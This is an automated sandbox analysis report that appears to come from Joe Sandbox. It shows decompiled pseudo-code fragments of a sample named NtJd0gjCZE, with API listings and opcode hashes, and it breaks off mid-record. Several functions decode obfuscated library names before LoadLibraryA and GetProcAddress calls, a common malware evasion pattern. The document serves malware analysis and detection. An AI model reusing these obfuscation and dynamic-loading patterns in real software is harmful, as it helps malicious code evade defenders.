                                                                                  			E00B62B3A(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                                  				void* _t9;
                                                                                  				long _t10;
                                                                                  				intOrPtr _t16;
                                                                                  				void* _t17;
                                                                                  				void* _t18;
                                                                                  
                                                                                  				_t16 = _a8;
                                                                                  				_t15 = _t16 + 0x154;
                                                                                  				 *((intOrPtr*)(_t16 + 0x14c)) = _a12;
                                                                                  				_t9 = E00B6624B(_t16, _t16 + 0x154,  *((intOrPtr*)(_t16 + 0x150))); // executed
                                                                                  				_t18 = _t17 + 0xc;
                                                                                  				while(_t9 == 0) {
                                                                                  					_t10 = RtlGetLastWin32Error();
                                                                                  					if(_t10 != 0x3e5) {
                                                                                  						if(_t10 == 0x26) {
                                                                                  							return E00B6285D(_a4, _t16);
                                                                                  						}
                                                                                  						E00B64954(_t10, 0x64);
                                                                                  						_t9 = E00B6624B(_t16, _t15,  *((intOrPtr*)(_t16 + 0x150)));
                                                                                  						_t18 = _t18 + 0x10;
                                                                                  						continue;
                                                                                  					}
                                                                                  					return _t10;
                                                                                  				}
                                                                                  				return _t9;
                                                                                  			}








                                                                                  0x00b62b41
                                                                                  0x00b62b4b
                                                                                  0x00b62b51
                                                                                  0x00b62b59
                                                                                  0x00b62b5e
                                                                                  0x00b62b8b
                                                                                  0x00b62b63
                                                                                  0x00b62b6d
                                                                                  0x00b62b72
                                                                                  0x00000000
                                                                                  0x00b62b9b
                                                                                  0x00b62b76
                                                                                  0x00b62b83
                                                                                  0x00b62b88
                                                                                  0x00000000
                                                                                  0x00b62b88
                                                                                  0x00b62b9f
                                                                                  0x00b62b9f
                                                                                  0x00000000

                                                                                  APIs
                                                                                    • Part of subcall function 00B6624B: ReadFile.KERNEL32(?,?,00B62CEC,00000000,?,?,00B62B5E,?,?,?,?,?,?,00B62CEC,?,?), ref: 00B6625D
                                                                                  • RtlGetLastWin32Error.NTDLL ref: 00B62B63
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ErrorFileLastReadWin32
                                                                                  • String ID:
                                                                                  • API String ID: 3522703849-0
                                                                                  • Opcode ID: b172c7d70e383c0cc306bba2d1b6efc2507cfc2694bc5c717a36c466fe8d5d14
                                                                                  • Instruction ID: 7e40ad9787ec58dfa16bbae2285f700d6ad5e524120b7c3183625d5bf8a8b21f
                                                                                  • Opcode Fuzzy Hash: b172c7d70e383c0cc306bba2d1b6efc2507cfc2694bc5c717a36c466fe8d5d14
                                                                                  • Instruction Fuzzy Hash: EAF0E932400F01ABFB252FA58C46DEF3BECEF8A310F08049AFA1C96141D63D651086E2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 87%
                                                                                  			E00B64962() {
                                                                                  				long _v8;
                                                                                  				signed int _t9;
                                                                                  				WCHAR* _t16;
                                                                                  
                                                                                  				_t16 = E00B64C6F();
                                                                                  				_t7 = 0;
                                                                                  				if(_t16 != 0) {
                                                                                  					_t16[3] = 0;
                                                                                  					_t9 = GetVolumeInformationW(_t16, 0, 0,  &_v8, 0, 0, 0, 0); // executed
                                                                                  					asm("sbb eax, eax");
                                                                                  					_v8 = _v8 &  ~_t9;
                                                                                  					E00B63C6B(_t16);
                                                                                  					_t7 = _v8;
                                                                                  				}
                                                                                  				return _t7;
                                                                                  			}






                                                                                  0x00b6496c
                                                                                  0x00b6496e
                                                                                  0x00b64972
                                                                                  0x00b64976
                                                                                  0x00b64985
                                                                                  0x00b6498e
                                                                                  0x00b64990
                                                                                  0x00b64993
                                                                                  0x00b64998
                                                                                  0x00b6499b
                                                                                  0x00b649a0

                                                                                  APIs
                                                                                    • Part of subcall function 00B64C6F: GetWindowsDirectoryW.KERNEL32(00000000,00000000,00000000,00B6496C,00000000,00000022,?,00B64269,00000000,00000001), ref: 00B64C74
                                                                                  • GetVolumeInformationW.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,00B64269,00000000,00000001), ref: 00B64985
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: DirectoryInformationVolumeWindows
                                                                                  • String ID:
                                                                                  • API String ID: 3487004747-0
                                                                                  • Opcode ID: c6f28d41edf28d290276280c838483f0fef1e1a30753a68643b5c1cc70309782
                                                                                  • Instruction ID: 0080bcca3a975234a10ee91151cdba8ea1a461d626bd6ba73c5dbdb903041416
                                                                                  • Opcode Fuzzy Hash: c6f28d41edf28d290276280c838483f0fef1e1a30753a68643b5c1cc70309782
                                                                                  • Instruction Fuzzy Hash: B7E0ED72925A19BFA71997A4DC4BCBB77DCDE0161171042AEF805D2240FA64AE0056A5
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65BCD() {
                                                                                  				char _v7;
                                                                                  				char _v28;
                                                                                  				intOrPtr _t6;
                                                                                  				_Unknown_base(*)()* _t11;
                                                                                  				void* _t13;
                                                                                  
                                                                                  				_t13 = 0;
                                                                                  				do {
                                                                                  					_t6 = E00B65DCF( *((intOrPtr*)(_t13 + 0xb7c9f8))); // executed
                                                                                  					 *((intOrPtr*)(_t13 + 0xb7c9f8)) = _t6;
                                                                                  					_t13 = _t13 + 4;
                                                                                  					_t17 = _t13 - 0x230;
                                                                                  				} while (_t13 < 0x230);
                                                                                  				E00B64E03(0xb7cc28, 0x5b, 0xb, 0x15,  &_v28);
                                                                                  				_v7 = 0;
                                                                                  				_t11 = GetProcAddress(E00B65D23(_t17),  &_v28);
                                                                                  				 *0xb7ca0c = _t11;
                                                                                  				return _t11;
                                                                                  			}








                                                                                  0x00b65bd4
                                                                                  0x00b65bd6
                                                                                  0x00b65bdc
                                                                                  0x00b65be1
                                                                                  0x00b65be7
                                                                                  0x00b65beb
                                                                                  0x00b65beb
                                                                                  0x00b65c02
                                                                                  0x00b65c0a
                                                                                  0x00b65c18
                                                                                  0x00b65c1e
                                                                                  0x00b65c27

                                                                                  APIs
                                                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00B65C18
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: AddressProc
                                                                                  • String ID:
                                                                                  • API String ID: 190572456-0
                                                                                  • Opcode ID: 65ded32820a38fc4f890cd74ce8eb2d634e2bb1e75b314a12ab09e01dabd7b53
                                                                                  • Instruction ID: b68818b4ae8629d1a2c9adf16258f150980d3692ba129bf55daf82d494b49e9c
                                                                                  • Opcode Fuzzy Hash: 65ded32820a38fc4f890cd74ce8eb2d634e2bb1e75b314a12ab09e01dabd7b53
                                                                                  • Instruction Fuzzy Hash: 6BF0A7B2C4061D6AD721BBF49C0AECBBFDC9B00B10F0105AEBA1CB7181EA69559087E1
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65CDF() {
                                                                                  				char _v5;
                                                                                  				char _v12;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0xac, 0xe, 7,  &_v12);
                                                                                  				_v5 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v12); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b65cf6
                                                                                  0x00b65cfe
                                                                                  0x00b65d0b
                                                                                  0x00b65d11
                                                                                  0x00b65d16

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: 9244c6e684040a4cad1159ad3576d0de31a70729c4df3023a08e9101503defe5
                                                                                  • Instruction ID: 2c27b1666925dad8ebe4446ba703f2eb2f720fe3402bba58f7e889293cb4867d
                                                                                  • Opcode Fuzzy Hash: 9244c6e684040a4cad1159ad3576d0de31a70729c4df3023a08e9101503defe5
                                                                                  • Instruction Fuzzy Hash: 66D0C292A4430C7EE614E6E8CC03FEE7A9CCB01A00F0001D9B908A51C2E9A6A61442B2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65C28() {
                                                                                  				char _v8;
                                                                                  				char _v20;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x618, 0xf, 0xc,  &_v20);
                                                                                  				_v8 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v20); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b65c40
                                                                                  0x00b65c48
                                                                                  0x00b65c55
                                                                                  0x00b65c5b
                                                                                  0x00b65c60

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: 4f9e255a98ba080c2c566d1951e1c09cf84ce31ef180662b7a833e04cc8b42ad
                                                                                  • Instruction ID: 28d7c28e7debb95ad181f2f8bab0b699bf92374498319536d85da0275926a02a
                                                                                  • Opcode Fuzzy Hash: 4f9e255a98ba080c2c566d1951e1c09cf84ce31ef180662b7a833e04cc8b42ad
                                                                                  • Instruction Fuzzy Hash: 26D0125194020D7AE714F6EC5C03FBE779CDB40A04F4415E9B918961C3E965562446F2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65C61() {
                                                                                  				char _v5;
                                                                                  				char _v16;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x323, 9, 0xb,  &_v16);
                                                                                  				_v5 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v16); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b65c79
                                                                                  0x00b65c81
                                                                                  0x00b65c8e
                                                                                  0x00b65c94
                                                                                  0x00b65c99

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: 5653b332c01383c1d1b2fba53b10711b693a7e9e466fba603fb0aa528431ca08
                                                                                  • Instruction ID: 4c0f45973f888bc51bcd4849ef09bc2dcf48c8d0e7ca09f521bb6fd010afa9b6
                                                                                  • Opcode Fuzzy Hash: 5653b332c01383c1d1b2fba53b10711b693a7e9e466fba603fb0aa528431ca08
                                                                                  • Instruction Fuzzy Hash: BBD01296D443083AD615E5E86C03F9D779CCB44A04F4041E5B918D51C2EAA9571986E2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65FB3() {
                                                                                  				char _v5;
                                                                                  				char _v16;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x675, 0xc, 0xb,  &_v16);
                                                                                  				_v5 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v16); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b65fcb
                                                                                  0x00b65fd3
                                                                                  0x00b65fe0
                                                                                  0x00b65fe6
                                                                                  0x00b65feb

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: a80aac48b5c96e7f18faa2240e5bacaee8a7c8be8e8f04a0cc72d80c2c113907
                                                                                  • Instruction ID: 9156d5a5d38a13e97d05cef656897789325a7d04c52aaf5863e90b2d611b53df
                                                                                  • Opcode Fuzzy Hash: a80aac48b5c96e7f18faa2240e5bacaee8a7c8be8e8f04a0cc72d80c2c113907
                                                                                  • Instruction Fuzzy Hash: CDD01291D443087AE615F6F85C07F9D779C8B40B04F4041E5B918D51C2EAA6562986E2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65FEC() {
                                                                                  				char _v7;
                                                                                  				char _v16;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0xca, 0xf, 9,  &_v16);
                                                                                  				_v7 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v16); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b66004
                                                                                  0x00b6600c
                                                                                  0x00b66019
                                                                                  0x00b6601f
                                                                                  0x00b66024

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: 70b77bb53d68479a9f626fd93e6c48ff4682a0c23381caee318fa1754a2f3d67
                                                                                  • Instruction ID: 26a1df7a3f9dca39965b2d1b2acfe65a32a1feea0559542b58044c4cc899e88c
                                                                                  • Opcode Fuzzy Hash: 70b77bb53d68479a9f626fd93e6c48ff4682a0c23381caee318fa1754a2f3d67
                                                                                  • Instruction Fuzzy Hash: 54D01295E4020C3AE624E6E95C03FAD779C9B41B04F4051E5BD18D61C2E9A5561486E2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65F08() {
                                                                                  				char _v5;
                                                                                  				char _v16;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x385, 9, 0xb,  &_v16);
                                                                                  				_v5 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v16); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b65f20
                                                                                  0x00b65f28
                                                                                  0x00b65f35
                                                                                  0x00b65f3b
                                                                                  0x00b65f40

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: 00d1e0090821ff89886f335dbee5b5f91a8b502a3f9c7df2e979bcb44ed1b9de
                                                                                  • Instruction ID: 00a8e950e3cd88545f539f9245d17b6013444c23a6c40f59b22a45deddfc5606
                                                                                  • Opcode Fuzzy Hash: 00d1e0090821ff89886f335dbee5b5f91a8b502a3f9c7df2e979bcb44ed1b9de
                                                                                  • Instruction Fuzzy Hash: 79D01295D443083AD615E5E85C07F9D779C8B40A04F4041E5B918D51C2EAA5571987E2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65F7A() {
                                                                                  				char _v6;
                                                                                  				char _v16;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x303, 0xc, 0xa,  &_v16);
                                                                                  				_v6 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v16); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b65f92
                                                                                  0x00b65f9a
                                                                                  0x00b65fa7
                                                                                  0x00b65fad
                                                                                  0x00b65fb2

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: d133382b148191c6316595a5127c4a2c8cf6f9298c41616d3d2ac912697808e5
                                                                                  • Instruction ID: f9cbe923029c47944b0a2485433d8c7555e9218057d153fad8ce0e8b84e9735f
                                                                                  • Opcode Fuzzy Hash: d133382b148191c6316595a5127c4a2c8cf6f9298c41616d3d2ac912697808e5
                                                                                  • Instruction Fuzzy Hash: 69D01291E403087AE615F6E86C03F9D77AC9B41B04F4041E5B918D51C2E9A9571887E2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B65F41() {
                                                                                  				char _v5;
                                                                                  				char _v16;
                                                                                  				struct HINSTANCE__* _t8;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x5ae, 0xd, 0xb,  &_v16);
                                                                                  				_v5 = 0;
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t8 = LoadLibraryA( &_v16); // executed
                                                                                  				return _t8;
                                                                                  			}






                                                                                  0x00b65f59
                                                                                  0x00b65f61
                                                                                  0x00b65f6e
                                                                                  0x00b65f74
                                                                                  0x00b65f79

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: 8f1bf831673254cfea9ed45f2e94dc0da9635f5930877e40b006d207c955cc64
                                                                                  • Instruction ID: ffecf8bef07db20bfac201281c4fd775835278d1f50182b270c73b2ed8f87444
                                                                                  • Opcode Fuzzy Hash: 8f1bf831673254cfea9ed45f2e94dc0da9635f5930877e40b006d207c955cc64
                                                                                  • Instruction Fuzzy Hash: 85D01291E4430C3AD615E5E86C03F9D779C8B41A04F4041E5B918D51C1EAA5571986E2
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6603A(intOrPtr _a4, void* _a8, long _a12) {
                                                                                  				void* _t8;
                                                                                  				intOrPtr _t12;
                                                                                  
                                                                                  				_t12 = _a4;
                                                                                  				_t8 = CreateIoCompletionPort(_a8,  *(_t12 + 4), _a12, 0); // executed
                                                                                  				return 0 |  *(_t12 + 4) == _t8;
                                                                                  			}





                                                                                  0x00b6603e
                                                                                  0x00b6604c
                                                                                  0x00b6605e

                                                                                  APIs
                                                                                  • CreateIoCompletionPort.KERNEL32(?,?,?,00000000,00000000,?,00B62EDA,?,?,00000000), ref: 00B6604C
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CompletionCreatePort
                                                                                  • String ID:
                                                                                  • API String ID: 499945625-0
                                                                                  • Opcode ID: 9598e1cfbfa7c68247f224a80315724b6cee70b350929b671e2b3c7b801d4d58
                                                                                  • Instruction ID: 82def9442c58e57e7db706fb8bcee40b332dff49f2f4e6e5dbb24294fc87c005
                                                                                  • Opcode Fuzzy Hash: 9598e1cfbfa7c68247f224a80315724b6cee70b350929b671e2b3c7b801d4d58
                                                                                  • Instruction Fuzzy Hash: D1D05E32104318AFCF004F94EC01A863BA8EF08A20F00802DF51A96450D632A850CB80
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B664A0(WCHAR* _a4, long _a8, long _a12, long _a16, long _a20) {
                                                                                  				void* _t6;
                                                                                  
                                                                                  				_t6 = CreateFileW(_a4, _a8, _a12, 0, _a16, _a20, 0); // executed
                                                                                  				_t7 =  ==  ? 0 : _t6;
                                                                                  				return  ==  ? 0 : _t6;
                                                                                  			}




                                                                                  0x00b664b6
                                                                                  0x00b664c1
                                                                                  0x00b664c5

                                                                                  APIs
                                                                                  • CreateFileW.KERNEL32(?,?,?,00000000,?,?,00000000,?,00B6356B,00000000,40000000,00000000,00000002,00000000,00000000,00000000), ref: 00B664B6
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CreateFile
                                                                                  • String ID:
                                                                                  • API String ID: 823142352-0
                                                                                  • Opcode ID: a35baed76224976dfbbda9fb1c9f7d611ee50264b70f141d56b7319a314382dd
                                                                                  • Instruction ID: 9fdb15fa086267778609db88ac714e20f8e10bd5476d863bfe796c3bbdb13ce1
